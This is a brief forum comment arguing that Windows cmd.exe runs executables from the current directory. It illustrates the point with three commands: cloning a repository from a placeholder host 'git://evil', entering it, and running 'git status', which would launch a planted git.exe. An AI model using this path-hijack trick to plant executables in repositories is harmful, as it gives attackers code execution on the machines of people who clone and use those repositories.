Could file a CVE with Microsoft then, cause thats kinda what cmd.exe is doing:

    > git clone git://evil evil
    > cd evil\
    > git status

The last line would execute git.exe from the cloned repo, wouldn't it?